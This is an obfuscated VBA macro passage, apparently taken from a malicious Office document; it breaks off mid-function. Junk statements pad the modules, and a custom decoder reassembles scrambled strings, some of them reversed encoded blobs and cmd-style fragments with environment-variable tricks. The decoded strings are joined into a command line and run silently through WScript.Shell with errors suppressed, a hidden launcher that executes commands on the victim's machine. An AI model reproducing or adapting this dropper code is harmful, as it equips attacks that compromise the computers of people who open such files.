kwIFrtSKP = ytgUBhjkgbksad("wagZAUGAwAwYAYDA1AwNAQGAmBAZAMDA1AQMAEGAlBgMAYDAwAgNAQDAxAgYAMGA3AwYAUDAyAgNAIDA2AAOAEDA3AAOAQGAmBwMAUGAwAQOAUGAhBANKi07C)iC", 9, 114)
LsFhbdFEsntAORkfSKCwY.jFXGBFtHDrlMpwVl.dZNkPiZqnpkCzZCDzMzKVbzL.jBOCbmKjZYZLbQbzPOQIFGRi
jwuudWwWFrfiZfELVNEq.sIKlBAZdwEGzjtE.NRViqobsEDpLoLASlPnq.JcVYsJmZlpmznIwjLSEjShzL
sPboBGGLGwK = ytgUBhjkgbksad("3_615RStBFPfmofC@%wLdfW[wOI%QZCCR", 4, 1)
jwuudWwWFrfiZfELVNEq.sIKlBAZdwEGzjtE.NRViqobsEDpLoLASlPnq.JcVYsJmZlpmznIwjLSEjShzL
PjfFibYGwrWOi.WvCROUwbjHQCzG.UICYKXGwKmadmMDFFQznIpOnVF.AXpfbRQijUqXkQwrinrLOcCLm
CUfsvKJSpAC = ytgUBhjkgbksad("b5%1zV1pW__0z$t)Sri7DuCQ_SrAM.secivREspOREtNi.eMitNUR[(EkoVNi.)eMaN.]3[)(SrEp!o%bm6CWd$@tC", 15, 51)
PjfFibYGwrWOi.WvCROUwbjHQCzG.UICYKXGwKmadmMDFFQznIpOnVF.AXpfbRQijUqXkQwrinrLOcCLm
jzzmUOiFQjLikmwZKPVtYEfdbtFw.AEKpJuITffvfkv.GSGcWvZLaMWcTUKbImzQiAtbrp.ijaOoIqWJndaMa
ZdXvYphP = ytgUBhjkgbksad("$ji!R@71CpsDAjBwNAEDAyAAZAQDA4AAMAYDAmBwYAEGA3AgMAIGA0AwNAQGA4AQOAEDAiBAZAYGAxAAOAUGA0AgYAMGA3AgMAIGA0AgZAQDAxAgNAQDAxAgZAQDA0AQMAEGAwAAMAkDA3AgYAMDAyAwMAgDAlBgZAQGA4AQNAEGAwAAOAUGAzAgZAYGAiBQNAIDAzAAOAkDA2AgZRd", 3, 198)
jzzmUOiFQjLikmwZKPVtYEfdbtFw.AEKpJuITffvfkv.GSGcWvZLaMWcTUKbImzQiAtbrp.ijaOoIqWJndaMa
HNqvwnEBhcT = sGaFihCHHWpVmZ + jdmSozUEmsnfKG + tjfTbzCVs + ChrW(34) + ikhpvbAziT + zsGFMqaoAI + CUfsvKJSpAC + aMzFw + uQStCN + IVRkGqQ + mmwLk + aMTXI + SSSZJZuf + spowsZA + VzIqclI + XLArLVTA + YbwTH + ZdXvYphP + tFEZsDq + anLpYt + VjiUaZpjDNT + kdjWrDRAOV + sPboBGGLGwK + izinvwQVkUv + miLXiLfrz + nJbwjPAvs + OzRBS + tPcuXs + qAEqjztirF + OETazpa + fzzhoT + hpiCtjfqS + adcOkHiP + KhbbsnMf + OicBDUWwT + szGaX + vDSswwp + mhmohjm + wmtAMPi + cFIwEv + MQNZD + clRjmzqXJo + kwIFrtSKP + SWvDiKiXzGl + BwhlOFXhwJX + CWnaoY
dzAofLkqk = PpZB * JfnV / djQk - Round(1628268 * CSng(8567681 * CInt(XiRjfD)) + LBUPHh - Round(oaoJ)) - 544 / LjhlwM + hpwjP / Rnd(mSNLS) * (6431254 / CDbl(6886881) + (apFpPf / CByte(7836397 / CDbl(9788224) - 7848451 / 1170801)))
End Function

Attribute VB_Name = "ZWTRwYaI"
Sub fJiaOwAok(FhczzpjOobih As String)
On Error Resume Next
ObPioVlNATKb.lwJBjcGPambIdLsEfXYtpzQDCJAmm.XJiblUHwowCloooVLKtJUw.iIohGwabTcwPSaCZXwiiaqEIc
hzqtdJaXzSznBwOWi.sZWvJkVMlNLrEfF.RclZwnouajckvkUDIvQDsloGYRX.LHOSiJjllIKEkbUZ
lQBtHjIOBwfnfB.QbiSUKBlDiSzlLSRQOwmAWT.YGDjLAzFHcoJs.EzjfzKpkWCjh
ZhPhtHiuOGVaCkMrI.JYOJACUYJOojAwilYYsv.BNHqqOEuZcsNfaIAPjMMUwQGfGYw.MozNcILHTJoQijmvV
WWlJrfjZCzAKkpIdNns.DSwsvXXvqOiL.lCafCzTiCFOGIZz.BWwCUREZsOUInj
CreateObject("WScript.Shell").Run SpBwmhzKqYWB + FhczzpjOobih + immwXnp + jIoUwBmodLqTR, vbHide
QHaMaDLHdwQrqGbWlztvmhMiojKW.NfivnVfXKNmhYiqE.KjMGarZWIjuwYt.ouQSiwClwwalHNODWZiViKGnnIY
lkbmUusiNXWKIvPIzFRIuf.WqXNinciZYXzMXoRNVkp.DXNiuwnirPkGLEwzjOqlszmkwDkLo.nKqaTSJikpowh
ntBTrUjGtEFGld.qNctnbaPlkinBiBwwPdwDCRTU.hQmUNjfstbMDujNdPiNj.csHJqIjjowIZPuJdRXzHJk
End Sub
Function tjfTbzCVs()
On Error Resume Next
NfbUEjtjwmLKqoHFfHmVvZa.jqQBBKhOlmJom.PtMAIrStibJGTpzulnFWoNQrflF.ZDfTSmrsJuQimmIpsuqrQqBViQEBd
tFEZsDq = ytgUBhjkgbksad("QF CPT[R WziK($hNPQLihzLLBCdlcwvmdO% 3(46hzp", 8, 17)
NfbUEjtjwmLKqoHFfHmVvZa.jqQBBKhOlmJom.PtMAIrStibJGTpzulnFWoNQrflF.ZDfTSmrsJuQimmIpsuqrQqBViQEBd
ZqthbVFiNiPEqXsd.KlTTrtZwPUXhomwFH.njvkjnVPwkDlMFthfzqsizUjMA.wZsSzjiFtUaFfwczpudHRnG
clRjmzqXJo = ytgUBhjkgbksad("dbb3Whhp[LR(0OsiX]7R%DKn% tes&&FiLachrB[i", 4, 17)
ZqthbVFiNiPEqXsd.KlTTrtZwPUXhomwFH.njvkjnVPwkDlMFthfzqsizUjMA.wZsSzjiFtUaFfwczpudHRnG
dRwSQvBjMCToTIBW.cHAuXjWpNuockfYPJMOApnicwwk.ORdlpDSjNRGiacCAMEcXvZKwnVEoY.vZwXawQDmhMrBrGfaNli
IVRkGqQ = ytgUBhjkgbksad("Uj1zjOsWW%sG", 3, 1)
dRwSQvBjMCToTIBW.cHAuXjWpNuockfYPJMOApnicwwk.ORdlpDSjNRGiacCAMEcXvZKwnVEoY.vZwXawQDmhMrBrGfaNli
sAzQEmONRopzGq.GvbWBDrOUZKdc.FITtuhczjOijzqzSpLMZpYsMhEB.dquJmUMfVDLJbJLMrVEBPBkzQ
uQStCN = ytgUBhjkgbksad("CW0IiSQi!%TIIZvMREfJ(8b7JKA15i#z$5fJw", 18, 12)
sAzQEmONRopzGq.GvbWBDrOUZKdc.FITtuhczjOijzqzSpLMZpYsMhEB.dquJmUMfVDLJbJLMrVEBPBkzQ
MminYNuYdBmvksmRPAUIupKaj.CwGSbFFtHAqSfnjXONjKiVSTlDEjs.bIEaKvRLZjprklbzUhZ.bzrYQhfnjXBVAlYhOEdn
nJbwjPAvs = ytgUBhjkgbksad("HFpsDqZdMp=%sBHijUrEDuooj0j9k", 7, 19)
MminYNuYdBmvksmRPAUIupKaj.CwGSbFFtHAqSfnjXONjKiVSTlDEjs.bIEaKvRLZjprklbzUhZ.bzrYQhfnjXBVAlYhOEdn
iFzPzwLmihahYsZ.wdijBwYDlhiVFqEjL.iHMGwNMWsBMSSwwSoRJJJmjwd.SphoduWkKSDsjRWiDX
MQNZD = ytgUBhjkgbksad("C1YOjjpzzchF%bp<%oP", 7, 8)
iFzPzwLmihahYsZ.wdijBwYDlhiVFqEjL.iHMGwNMWsBMSSwwSoRJJJmjwd.SphoduWkKSDsjRWiDX
PbHUkizbTzXSDIXtUbWluu.rGDjNVMZioiVvfbRrTvszKtClYMZ.afiUfQNjwmGHZtdUnbOtJ.SzBwjNAvoJmzEJzAQPNlth
aMzFw = ytgUBhjkgbksad("PsRYbFhUfWo)cz]suVifi$YU6NRi", 2, 1)
PbHUkizbTzXSDIXtUbWluu.rGDjNVMZioiVvfbRrTvszKtClYMZ.afiUfQNjwmGHZtdUnbOtJ.SzBwjNAvoJmzEJzAQPNlth
GIKbKYLtUpizhzhZNosk.hdGmTdhwuTRufBXWzBBvK.sXGkBsjuoMcwYiDpru.vaVNEBwJDQnqoQOkjjjcpR
wmtAMPi = ytgUBhjkgbksad("p6KCHRo%TchBEnwvqNH%!=0sihHw[]!(RMC)i3", 17, 15)
GIKbKYLtUpizhzhZNosk.hdGmTdhwuTRufBXWzBBvK.sXGkBsjuoMcwYiDpru.vaVNEBwJDQnqoQOkjjjcpR
JqtHJbtDVAjnhzrVtR.GvzrokIFnCvTjFakJBDGAPoPzbaO.iuphZJYKwFWBVFAZhwhHPiUpKvq.jtNJtNEHGmKwCa
qAEqjztirF = ytgUBhjkgbksad("wo$1h!!%RG#OC", 6, 3)
JqtHJbtDVAjnhzrVtR.GvzrokIFnCvTjFakJBDGAPoPzbaO.iuphZJYKwFWBVFAZhwhHPiUpKvq.jtNJtNEHGmKwCa
wikPjUnXNirPqNUzHzwQwLm.fNLMclqanCOFFkDfXJrjiwjvzUjnd.hkwmkTJavboQcn.OtWvRtoUFUidQPIFDzhUdJSAkWzOP
OzRBS = ytgUBhjkgbksad("Su4u#OF)LT_9Acsp=%CPsz8zzSvf(zX6dOD1YSB9dBiiOh1P", 28, 9)
wikPjUnXNirPqNUzHzwQwLm.fNLMclqanCOFFkDfXJrjiwjvzUjnd.hkwmkTJavboQcn.OtWvRtoUFUidQPIFDzhUdJSAkWzOP
ZwrUaOJtOYzlwTpMkZiACmEbzL.oCnkFuLzDGhELMXflZzIfvzrnS.nmsQVPXVqbnrrmWmFCVXn.HTBACMsCvznSYKKqMonrjE
SSSZJZuf = ytgUBhjkgbksad("CChirOdjkoAwOaiJf%!!S[j6wzI$v$]#", 13, 12)
ZwrUaOJtOYzlwTpMkZiACmEbzL.oCnkFuLzDGhELMXflZzIfvzrnS.nmsQVPXVqbnrrmWmFCVXn.HTBACMsCvznSYKKqMonrjE
MtdPZVPnJkIOjcEFtfwmRdKki.hTpmpRVOwJUZdvsOiRHAwimWM.jYWjisjmowwWvqtSiulU.DtDusdhqCjTa
YbwTH = ytgUBhjkgbksad("1zWsF% tes&&!$aapRsIUCOU_w(%wX36@VCfO_RvSQO", 31, 9)
MtdPZVPnJkIOjcEFtfwmRdKki.hTpmpRVOwJUZdvsOiRHAwimWM.jYWjisjmowwWvqtSiulU.DtDusdhqCjTa
LqwApwJVRmNCnJLSW.kGVXakpGPMfa.MmVuzEHMisbZtUs.JUVTzYTwnPMKihzprdA
OicBDUWwT = ytgUBhjkgbksad("GhXr@krTOG1z$&wo=%TchBEnwvR]]Qik", 7, 13)
LqwApwJVRmNCnJLSW.kGVXakpGPMfa.MmVuzEHMisbZtUs.JUVTzYTwnPMKihzprdA
pNJSiQZKzrzFJBZuKtFwOFztVLP.AJrztkuPRLWDvdrbZvHRUB.jnkdjOPwTBvKnzAMY.JdwXCCkOXUaDzJ
spowsZA = ytgUBhjkgbksad("Vc9 f%1!hMY]t7(M2s&&!%BSBujoDKn%!=%)@zjXo6z$Q9", 12, 18)
pNJSiQZKzrzFJBZuKtFwOFztVLP.AJrztkuPRLWDvdrbZvHRUB.jnkdjOPwTBvKnzAMY.JdwXCCkOXUaDzJ
jdNXjNcoURmKVBHmKtCEwEKYY.XtzoiRVDhaBoXPNWOVdzMiNG.wESrcSpwzpjofiVpSUjkWVn.appvbWpjtGmMDMEHMpaZihjmHI
XLArLVTA = ytgUBhjkgbksad("TaWiU1dP3CR(fp4QD650Gk!ij#U6GX83Bd#TIIZvMREfJFtfV% tesoF1", 4, 19)
jdNXjNcoURmKVBHmKtCEwEKYY.XtzoiRVDhaBoXPNWOVdzMiNG.wESrcSpwzpjofiVpSUjkWVn.appvbWpjtGmMDMEHMpaZihjmHI
KoQIDlKihiwpafDzpwGrIQWN.PMojUBSvjViVFMWzPbMVTvTkSBus.ctSDNnZVvNhd.tKZbkjkrspJsbUsDRTHZuEbLSrZw
VzIqclI = ytgUBhjkgbksad("V!RU3CPGpaEGCFhW% tes&kB5VG", 6, 17)
KoQIDlKihiwpafDzpwGrIQWN.PMojUBSvjViVFMWzPbMVTvTkSBus.ctSDNnZVvNhd.tKZbkjkrspJsbUsDRTHZuEbLSrZw
mDRAFPvdwLVNvHNrDD.iXTBQJiGbPzPifvAcUtqiisIlkhs.zVcijhuSBBraJTOwvmiA.kXJNPwfKQfbmii
BwhlOFXhwJX = ytgUBhjkgbksad("F7hO0#jm(1s_Q6<nroTVPp% tes&&G17OrP8TC@", 10, 15)
mDRAFPvdwLVNvHNrDD.iXTBQJiGbPzPifvAcUtqiisIlkhs.zVcijhuSBBraJTOwvmiA.kXJNPwfKQfbmii
XhPkQqkovYpNEE.cIZYojKEmsLBdVrZ.HvOZHcYmEtuPLJrRahKzTraMcc.FpGTEwBFJpoUfBljnQpbjUjCnjZ
SWvDiKiXzGl = ytgUBhjkgbksad("D0Xj6UQQzzIPKWGkPmjcTAOn=%BzzZ<3p2Rzi", 8, 13)
XhPkQqkovYpNEE.cIZYojKEmsLBdVrZ.HvOZHcYmEtuPLJrRahKzTraMcc.FpGTEwBFJpoUfBljnQpbjUjCnjZ
XQIlcLkGhDLKuEvAIw.LAkcJppsKippLYsqzks.DznfDVGFzpAkAabRnowvmSa.rOAlCNwPQSRNMEYojksU
cFIwEv = ytgUBhjkgbksad("0aQ_vA]EYk% tes&&MGPiMNoO0u_<@o1zp", 13, 15)
XQIlcLkGhDLKuEvAIw.LAkcJppsKippLYsqzks.DznfDVGFzpAkAabRnowvmSa.rOAlCNwPQSRNMEYojksU
FwnEOdPNsKARSqtzmZTuK.koMTzIopwoQYtNXzBFXJwdh.jajUBvkYQXNwsujHYCMMAtwj.oXNXAkHHcmXcUnDErHVzY
adcOkHiP = ytgUBhjkgbksad("ztRU_OPFwA$iCih!<(KqNH% tes&&p=%BSBujoGR4", 4, 19)
FwnEOdPNsKARSqtzmZTuK.koMTzIopwoQYtNXzBFXJwdh.jajUBvkYQXNwsujHYCMMAtwj.oXNXAkHHcmXcUnDErHVzY
liTDmNsiiLPmoSZCwvPh.rJDcKiDEWfIKmpnQcupQp.jYQoHdCJwKvvuUQb.ipdIfGbCdllVBZRndaiLW
aMTXI = ytgUBhjkgbksad("Vo@6T%ERGkrHVawPJBwq%!!%%koYLzBv$(", 11, 19)
liTDmNsiiLPmoSZCwvPh.rJDcKiDEWfIKmpnQcupQp.jYQoHdCJwKvvuUQb.ipdIfGbCdllVBZRndaiLW
NWZnQfDZZPtir.sEwYPqmJBdtUmwtNIrWodHC.ZTJfZflfuJEBq.tiQDUwtvtGjLHB
mhmohjm = ytgUBhjkgbksad("w3hfv7i_(Fh36Did(@IVo)WlBSp1CQ0<6(C(oU", 13, 4)
NWZnQfDZZPtir.sEwYPqmJBdtUmwtNIrWodHC.ZTJfZflfuJEBq.tiQDUwtvtGjLHB
zOMJjjwGKIJVQiBzTY.PwmFwzawBKUrO.rsjlVsBaothFpKvNOVikEXLINMG.uwqRubYmSLwjDpHsYtHQBovzM
fzzhoT = ytgUBhjkgbksad("2Xwofbo3jY]o@7d$<z8Jr3 U()0zwFP[%R%", 13, 1)
zOMJjjwGKIJVQiBzTY.PwmFwzawBKUrO.rsjlVsBaothFpKvNOVikEXLINMG.uwqRubYmSLwjDpHsYtHQBovzM
WiPvAHnMoPaYkhbPHUaostI.wUkiZEXdoFZqKQdEOWL.HzwSDjisjjmdWtzjXEnjrzkfH.ErqWZWhUPwXSftVfzESwTQQwh
CWnaoY = ytgUBhjkgbksad("3i4$j]iz5_dXKr)XaUZ% tedo$PHp3I", 9, 8)
WiPvAHnMoPaYkhbPHUaostI.wUkiZEXdoFZqKQdEOWL.HzwSDjisjjmdWtzjXEnjrzkfH.ErqWZWhUPwXSftVfzESwTQQwh
KVjDpLjAJMRQuGXJkzLvlropdO.tAMGqkvwibMmnI.zkYjCQmlwmnSDShraaDpA.GbfwKshYMYnJsDRzLrHONTDRrdzkl
miLXiLfrz = ytgUBhjkgbksad(" 0]d0c2FtfV%!!%OZONDhEYk%!P7oCCJoH", 9, 19)
KVjDpLjAJMRQuGXJkzLvlropdO.tAMGqkvwibMmnI.zkYjCQmlwmnSDShraaDpA.GbfwKshYMYnJsDRzLrHONTDRrdzkl
AORXiGiFAZOtjqDCDSLqtIv.JpUdTKOpInIEtAoCpFUVALsH.TvFwWpsThOplElpKYl.hwJDdIBnoakzwMLzPItlwPlMmzR
szGaX = ytgUBhjkgbksad("zU)1%ib#5!!v8$5UizzV)bbMroTVPp%!&&ll=%[Ab6#k#s", 9, 14)
AORXiGiFAZOtjqDCDSLqtIv.JpUdTKOpInIEtAoCpFUVALsH.TvFwWpsThOplElpKYl.hwJDdIBnoakzwMLzPItlwPlMmzR
HTrJodzwMJIfPdszlIwYSpBBQSLfX.MFzwjCkjOdRUzbLtWM.IiEuKhRSptVRTbtz.iRwpOCtUGzrZ
hpiCtjfqS = ytgUBhjkgbksad("dr!b!tW_%koAwOAoB(i#[TP#S$Wds$ii(", 20, 6)
HTrJodzwMJIfPdszlIwYSpBBQSLfX.MFzwjCkjOdRUzbLtWM.IiEuKhRSptVRTbtz.iRwpOCtUGzrZ
JwqHMwjivtHkWRmSAjvCZji.AtzIVubISGsFFSwo.FuPmchUFnAmiAJcTdGTzXM.RwRPZjNimGWT
VjiUaZpjDNT = ytgUBhjkgbksad("Wd1W@PbF 1PD0DWtvfSjA6cHH0z!KbtPfaZPiXWO% tesISU", 4, 12)
JwqHMwjivtHkWRmSAjvCZji.AtzIVubISGsFFSwo.FuPmchUFnAmiAJcTdGTzXM.RwRPZjNimGWT
hrCCqlkOPRMlhBfVCNi.CEjvcuTmufCFolIEpCrFRcjBMRUSH.qiTURcLGavSzUkOGzwtajA.ZiZXfjLZAfPoYmUTfti
zsGFMqaoAI = ytgUBhjkgbksad("M47fzViUERGkrHVawPJBw%z54cHCv", 9, 13)
hrCCqlkOPRMlhBfVCNi.CEjvcuTmufCFolIEpCrFRcjBMRUSH.qiTURcLGavSzUkOGzwtajA.ZiZXfjLZAfPoYmUTfti
WvmcvZajFHrSBXuvwm.iPRmDOtiYVJwinvlpDkSdQVRJkCV.CtpNuJDEIjNCqCKvLIiFmErLTRSt.cTMYmVbUindrjjUWQmOLWwbXPJwCd
izinvwQVkUv = ytgUBhjkgbksad("Y6wzcziPL6zvfb=%thFiSpwK_7WPh8HWFwu5z0", 23, 2)
WvmcvZajFHrSBXuvwm.iPRmDOtiYVJwinvlpDkSdQVRJkCV.CtpNuJDEIjNCqCKvLIiFmErLTRSt.cTMYmVbUindrjjUWQmOLWwbXPJwCd
MhlIHvOEILEhowsvwdc.bMShYOwkbzQjwUk.oTRozufojmorRrBSFavAPEj.zicIuXlTNJGfLnLhjiwlaESkwwb
KhbbsnMf = ytgUBhjkgbksad("zLptf(oSji6F$CirObFQU9P8bs6N[d7(aiJf% tes&&KLpZqSB_<3S", 5, 18)
MhlIHvOEILEhowsvwdc.bMShYOwkbzQjwUk.oTRozufojmorRrBSFavAPEj.zicIuXlTNJGfLnLhjiwlaESkwwb
WVFahjldhHQpzUnlhQmlYBDtRQKNf.bDScHWiknhCmCCwawuuJdpqrZUS.IQYXwnfNWVNQCwcE.mwAzrUQSWQlMbCmDXbXIioPW
OETazpa = ytgUBhjkgbksad("Bd3Rw$_%IRz(iwEMQC6()", 4, 5)
WVFahjldhHQpzUnlhQmlYBDtRQKNf.bDScHWiknhCmCCwawuuJdpqrZUS.IQYXwnfNWVNQCwcE.mwAzrUQSWQlMbCmDXbXIioPW
VkjvWBkfhkWoqmWjLn.JfPdqBVPYPMpZWbETNrwudQLn.QzcHASbpwnGGstAlMPVuwRPhDSU.rfOEqwlXmQPtOkanwMUzzJRAps
mmwLk = ytgUBhjkgbksad("ArFN[j$i%Poadtes&&s=%hiboOjpzzchho)i7d6OW@!bw2Kw3wb4$O$X", 25, 19)
VkjvWBkfhkWoqmWjLn.JfPdqBVPYPMpZWbETNrwudQLn.QzcHASbpwnGGstAlMPVuwRPhDSU.rfOEqwlXmQPtOkanwMUzzJRAps
cIEoGjmaFjzHYvJbaa.LVjKBlzzVijSD.SFQmRVwjlSRZADWjn.wzUztwCCJjQwWQvrF
tPcuXs = ytgUBhjkgbksad("3i0iHWHPdTKY%_uRQH&&eh=%OZONDhLz17ww", 7, 12)
cIEoGjmaFjzHYvJbaa.LVjKBlzzVijSD.SFQmRVwjlSRZADWjn.wzUztwCCJjQwWQvrF
PPHibTblOnKrm.ZmTRRsTmElVzDwwoqEi.uFjsXLdrkbOMBlszojdXj.LVNdPimZzGILaUDauGOcBc
vDSswwp = ytgUBhjkgbksad("oidhw)5r6hBIRjiCO6Xn!57zTh1o[8zB$i", 15, 1)
PPHibTblOnKrm.ZmTRRsTmElVzDwwoqEi.uFjsXLdrkbOMBlszojdXj.LVNdPimZzGILaUDauGOcBc
BcfcwBqjLZQa.nhRnuvEBORHdknzdAbZqpGZYz.YuiSOhCPWEOviAsznLYwLNqD.zrkwhHsoKWJXwCZ
anLpYt = ytgUBhjkgbksad("zRvji_Oj0Oj%i$#8Q$[[!%hiboOYfm", 4, 7)
BcfcwBqjLZQa.nhRnuvEBORHdknzdAbZqpGZYz.YuiSOhCPWEOviAsznLYwLNqD.zrkwhHsoKWJXwCZ
ukNKFEwNDkRttJTYJiZZIJFJMiia.aKKTjGYEfLkHQQwFUFzSZJXHCnki.wWZYTdZGaKCvT.SoRstJErdhIUQnDRvWtBho
kdjWrDRAOV = ytgUBhjkgbksad("<Gzf@P4oLf(@GwRYNQ0O3iaPzwq% tes&&re=jY<zUX_", 8, 11)
ukNKFEwNDkRttJTYJiZZIJFJMiia.aKKTjGYEfLkHQQwFUFzSZJXHCnki.wWZYTdZGaKCvT.SoRstJErdhIUQnDRvWtBho
tjfTbzCVs = VjiUaZpjDNT + OETazpa + OzRBS + aMzFw + clRjmzqXJo + adcOkHiP + OicBDUWwT + VzIqclI + SWvDiKiXzGl + BwhlOFXhwJX + spowsZA + CWnaoY + nJbwjPAvs + KhbbsnMf + hpiCtjfqS + kdjWrDRAOV + zsGFMqaoAI + IVRkGqQ + wmtAMPi + YbwTH + mmwLk + tFEZsDq + izinvwQVkUv + mhmohjm + cFIwEv + tPcuXs + XLArLVTA + szGaX + vDSswwp + aMTXI + SSSZJZuf + qAEqjztirF + MQNZD + anLpYt + miLXiLfrz + uQStCN + fzzhoT
LjzmXwuuv = GfESk * rVzGss / wMlD - Round(1758237 * CSng(2866356 * CInt(BSwid)) + vGmFz - Round(lkOkik)) - 544 / AiYCb + STwalv / Rnd(fPWnja) * (7927838 / CDbl(710711) + (ljtJJG / CByte(6090394 / CDbl(6800435) - 5337461 / 633139)))
End Function

Attribute VB_Name = "ksUwjamiFn"
Function sGaFihCHHWpVmZ()
On Error Resume Next
sTYWaKIUjivEwbP.YaYrhwvZhNzu.jzBSpGNCQllGHo.cPqZurFsijdwYwpNN
nMkXPpzkY = ytgUBhjkgbksad("#$6o  c/ 1B$1<(IjQIFOzzR@zi47FM", 23, 5)
sTYWaKIUjivEwbP.YaYrhwvZhNzu.jzBSpGNCQllGHo.cPqZurFsijdwYwpNN
LXZUVXUFDQEnDwroSpnYGw.wfPnYwrIiGGUpIifdpsUKV.KDswfRazWMsboGjvIMIZj.iCjkJKiOdUcEEjfwMqEJjHwjtZtu
BpDXEQbzE = ytgUBhjkgbksad("@o<  pOtv@r8u_zM1Prf", 16, 2)
LXZUVXUFDQEnDwroSpnYGw.wfPnYwrIiGGUpIifdpsUKV.KDswfRazWMsboGjvIMIZj.iCjkJKiOdUcEEjfwMqEJjHwjtZtu
sbECNmwNCYGzAwu.kiBXBkaNpzcPEKPRmC.riRDliiHQjQBACDVfkMJHBqNPJjJ.IpLzBDoSbPsWdJiZvbNBpkjZtnq
NIcIz = ytgUBhjkgbksad("RtY61<pR  FjQ@d6ccwkzL_b$5_6<_RzDi)", 26, 2)
sbECNmwNCYGzAwu.kiBXBkaNpzcPEKPRmC.riRDliiHQjQBACDVfkMJHBqNPJjJ.IpLzBDoSbPsWdJiZvbNBpkjZtnq
FfFouEaLLsOEjKWsVUaj.aFbzwiRXpUOQQiPhWEMz.IrwYNHDYiLpXAiZdq.ZJoWYzoSbHKwPNmHRNdZjWOwLIZtP
BdkMVQI = ytgUBhjkgbksad("p_TiZUUnkUuPRkVhkh9fQ56ukb(%L_Q", 21, 7)
FfFouEaLLsOEjKWsVUaj.aFbzwiRXpUOQQiPhWEMz.IrwYNHDYiLpXAiZdq.ZJoWYzoSbHKwPNmHRNdZjWOwLIZtP
YcVRBVoLGpFzlHAZJIp.qckPKnrdHiZWlpCMirRnsIYlMi.XnAESnbfwrFGNdKDXQjMvFnrRrC.iDzDfwUqGiGiJKFUdkDJiEBVdSwS
DwMvin = ytgUBhjkgbksad("(oSLpW(Rp4iOPj(!6mj_iwBzGTfTwj dmcIpPiODtYP", 10, 12)
YcVRBVoLGpFzlHAZJIp.qckPKnrdHiZWlpCMirRnsIYlMi.XnAESnbfwrFGNdKDXQjMvFnrRrC.iDzDfwUqGiGiJKFUdkDJiEBVdSwS
RuAGDuzZTSfs.MJqtZdKPPSKCBzjJIH.aWDDPjvTfrHWuof.GwswcrmCbqECv
uYvQwjh = ytgUBhjkgbksad("h (j iCWhbzhPWlqRHjUlwY <F0D6N", 7, 20)
RuAGDuzZTSfs.MJqtZdKPPSKCBzjJIH.aWDDPjvTfrHWuof.GwswcrmCbqECv
zJaannPuNPztYTZsYtLqVHqjrc.oKAwoOVdzftWRHvrTdIAipw.ZuTUqSqiKHbkMTLiDqaMiXujaQXF.czwODWtvAnjoKMJjKizSdzsP
iivpK = ytgUBhjkgbksad("r%GwNYiF7U3zuPbYiR     %cEp^S$iD", 4, 11)
zJaannPuNPztYTZsYtLqVHqjrc.oKAwoOVdzftWRHvrTdIAipw.ZuTUqSqiKHbkMTLiDqaMiXujaQXF.czwODWtvAnjoKMJjKizSdzsP
nPAbwSwzVDJzmKFfbMadcclSiA.oriDJwpiZiwoh.wALlPDvlKzGT.PKiiwwNIFqzzAwffAfYtdjbZ
CWqMnuZpps = ytgUBhjkgbksad("DToT9RCLpiR         b[vJ%wCj1wW3zj[Y", 17, 9)
nPAbwSwzVDJzmKFfbMadcclSiA.oriDJwpiZiwoh.wALlPDvlKzGT.PKiiwwNIFqzzAwffAfYtdjbZ
DQjfhdiriLuRaEwY.WklXBSzWqzUS.SMGZisroPqEGVOifCJwwU.BwoCzlJqfJZIshKBZFhOG
pfwNHEw = ytgUBhjkgbksad("UG3rPW2S^C%     & TC@)1o%O@@zN", 13, 10)
DQjfhdiriLuRaEwY.WklXBSzWqzUS.SMGZisroPqEGVOifCJwwU.BwoCzlJqfJZIshKBZFhOG
ziGDkuwYrNYCcYFoAhnSPHCoWVBj.zWUdXjzXImJsDYuEDGjd.GwIFjpcSjPsQAuqEZErG.sudZLjIkTOSDzrYLX
HUFRzjjEEQu = ytgUBhjkgbksad("U8P4zi  %cEp^S^moSU61msI1t2O", 12, 11)
ziGDkuwYrNYCcYFoAhnSPHCoWVBj.zWUdXjzXImJsDYuEDGjd.GwIFjpcSjPsQAuqEZErG.sudZLjIkTOSDzrYLX
QPoMuJwzjjrQNTjA.chfsbKlnlKULBMu.dQbtiGdAWNsQ.jKNzztNrTpEDZIzcmiUwPjCFGbW
DjCwlaf = ytgUBhjkgbksad("GGzppb$QPIkVW_Y0UYo0^mo^C%     3", 2, 11)
QPoMuJwzjjrQNTjA.chfsbKlnlKULBMu.dQbtiGdAWNsQ.jKNzztNrTpEDZIzcmiUwPjCFGbW
PMNMCZUQWlCjN.lQNvwPSMBTKYIhTfbZY.HjiXJzWOYEnRqVpDkafom.LtBiRmzrKcLl
pYsNi = ytgUBhjkgbksad("RzUKkzs@w_F   )", 2, 3)
PMNMCZUQWlCjN.lQNvwPSMBTKYIhTfbZY.HjiXJzWOYEnRqVpDkafom.LtBiRmzrKcLl
GUIzXrjsBNAQsTZOXmajRnOJLNH.blRwDDMDYwdVzHiiOnLdMbiE.vZTGzoKjwRQwDMoGWpZIEjKJjuYB.YzDMBIitwZKTmBqOiLaWWp
fSfrWmNTUS = ytgUBhjkgbksad("O0z%0Xo!hoGiSa$iQb  V/     K0QCz1p[#j", 11, 9)
GUIzXrjsBNAQsTZOXmajRnOJLNH.blRwDDMDYwdVzHiiOnLdMbiE.vZTGzoKjwRQwDMoGWpZIEjKJjuYB.YzDMBIitwZKTmBqOiLaWWp
RDTdfzwOCoDm.hKLQSLYmYVcihizjHsm.JiVrnjFsPFGtGZWNLvGzq.shrwzRwiuwQLNwpUd
WXFWwirwhZ = ytgUBhjkgbksad("OI!oV6_])]wQ06i@6(wkj!4 Q )", 2, 1)
RDTdfzwOCoDm.hKLQSLYmYVcihizjHsm.JiVrnjFsPFGtGZWNLvGzq.shrwzRwiuwQLNwpUd
sGaFihCHHWpVmZ = DwMvin + uYvQwjh + BdkMVQI + pfwNHEw + HUFRzjjEEQu + DjCwlaf + iivpK + NIcIz + fSfrWmNTUS + pYsNi + BpDXEQbzE + WXFWwirwhZ + nMkXPpzkY + CWqMnuZpps
mGfWTPiXI = kULl * ktqnAo / ouhKK - Round(5660876 * CSng(9159458 * CInt(XYrS)) + rLsZS - Round(bpEO)) - 544 / iKaa + ICToE / Rnd(lpJFE) * (5418791 / CDbl(9364245) + (LdtRwZ / CByte(316540 / CDbl(3296158) - 4042022 / 8334159)))
End Function

Attribute VB_Name = "EXiKWXzJEfDdi"
Function ytgUBhjkgbksad(ByVal pPVTorn As String, VftFJfERMvZIIT, kYEhDNOZO)
On Error Resume Next
DzwKQYWrTXQVLwIBNDlXplzHB.IzjthPpJjaoYpPVMEHtA.CACSAsHwRArJqQWL.qBjBQiNpNWBchsNANFzd
